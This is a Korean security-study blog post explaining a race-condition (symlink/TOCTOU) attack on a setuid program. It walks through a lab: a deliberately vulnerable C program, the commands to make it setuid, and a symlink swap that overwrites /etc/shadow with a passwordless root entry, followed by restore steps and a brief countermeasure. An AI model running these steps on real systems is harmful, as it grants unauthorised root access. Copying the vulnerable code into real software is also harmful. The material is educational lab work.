본문 바로가기

OS-서버

[운영체제보안] 레이스컨디션 공격의 이해

반응형

 

 

 

 

    레이스컨디션 공격과정

 

 

파일소유자root setuid 비트를 가져야하고

생성되는 임시 파일 이름을 알고있어야한다.

 

 

 

임시 파일 생성하는 프로그램들은 임시 파일 생성 전에 임시 파일의 존재 여부를 확인한다.

 

파일이 존재할 경우 파일 지우고 재생성한다.

그리고 다음과 같은 프로세스를 프로그램 로직에 넣는다.

 

➊ 임시 파일 존재 여부 확인

➋ 임시 파일이 있다면 삭제하고 재생성

➌ 임시 파일에 접근하고 처리

 

레이스 컨디션 공격 코드는 다음과 같은 작업 반복 수행

➊ 임시 파일이 존재하는 경우 심볼릭 링크 파일인지 여부 확인

➋ 심볼릭 링크가 아닐 경우 임시 파일을 삭제

➌ 임시 파일을 심볼릭 링크로 생성

 

정상 프로세스 - ➊ 임시 파일 존재 여부 확인

정상 프로세스 - ➋ 임시 파일이 이미 있다면 삭제하고 재생성

공격 프로세스 - ➊ 임시 파일이 존재하는 경우 심볼릭 링크 파일인지 확인

공격 프로세스 - ➋ 심볼릭 링크가 아닐 경우 임시 파일을 삭제

공격 프로세스 - ➌ 임시 파일을 심볼릭 링크로 생성

정상 프로세스 - ➌ 임시 파일에 접근하고 처리

 

<요약>

임시파일이 존재하는경우 심볼릭링크파일인지 확인하고

심볼릭 링크가 아닐 경우 임시파일을 삭제하며

임시파일을 심볼릭링크로 생성한다.

 

 

tempbug.c : 파일명과 파일 내용의 두 인수를 주면 해당 내용을 파일에 쓰는 역할

 

tempbug


 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
 
int main (int argc, char * argv []){
 
struct stat st;
 
FILE * fp;
 
if (argc != 3) {
 
fprintf (stderr, "usage : %s file message\n", argv [0]);
 
exit(EXIT_FAILURE);
 
}
 
 
 
sleep (20); // 공격을 위해 파일이 생성된 후, 파일을 열기까지 20초 동안
 
// 시간 간격을 두었다. 이 시간 간격 안에 실습을 마쳐야 한다.
 
if ((fp = fopen (argv [1], "w")) == NULL) {
 
fprintf (stderr, "Can't open\n");
 
exit(EXIT_FAILURE);
 
}
 
fprintf (fp, "%s\n", argv [2]);
 
fclose (fp);
 
fprintf (stderr, "Write Ok\n");
 
exit(EXIT_SUCCESS);
 
}
 
cs

 

 

 

 

 

 

 < 공격 대상 파일 생성하기 >


 

/etc/shadow 공격 수행전 파일을 백업한다.

 

cp /etc/shadow /etc/shadow.backup

 

 

tempbug.c 컴파일 후 setuid 권한을 부여한다.

 

chmod 4755 tempbug

cp tempbug /home/user123/tempbug

gcc -o tempbug tempbug.c

 

 

 

 

 

 

 


 

< 공격 대상 파일 실행하기 >

     

  temp 파일에‘root::12519:0:99999:7:::’을 쓰도록 백그라운드(&)로 실행한다.

 

 touch temp // 일반사용자 파일 생성

./tempbug temp "root::12519:0:99999:7:::" &

 

 

 

 

 

< 파일바꿔치기 >

 

먼저 생성했던 temp 파일을 삭제하고 /etc/shadow 파일에 대한

심볼릭링크 파일을 tempbug가 접근하고자 하는 temp 파일로 20초이내에 바꿔치기한다.

 

① rm temp

② ln -s /etc/shadow ./temp

 fg

 

 

정상적으로 적용이됬다면 

su - root를 할 때 패스워드를 묻지않고 바로 로그인된다. 

cat을 이용해서 /etc/shadow의 내용을 확인해본다.

 

 

< 파일 복구 >

 

공격 뒤에는 /etc/shadow 파일을 복구한다.

 

① mv /etc/shadow.backup /etc/shadow

 

 

 

 

< 레이스컨디션 공격에 대한 대응책 >

 

프로그램 로직 중에 임시 파일을 생성 후, 

임시 파일에 접근하기 전에 임시 파일에 대한 심볼릭 링크 설정 여부와 

권한에 대한 검사 과정을 추가한다.

   

 

 

반응형

'OS-서버' 카테고리의 다른 글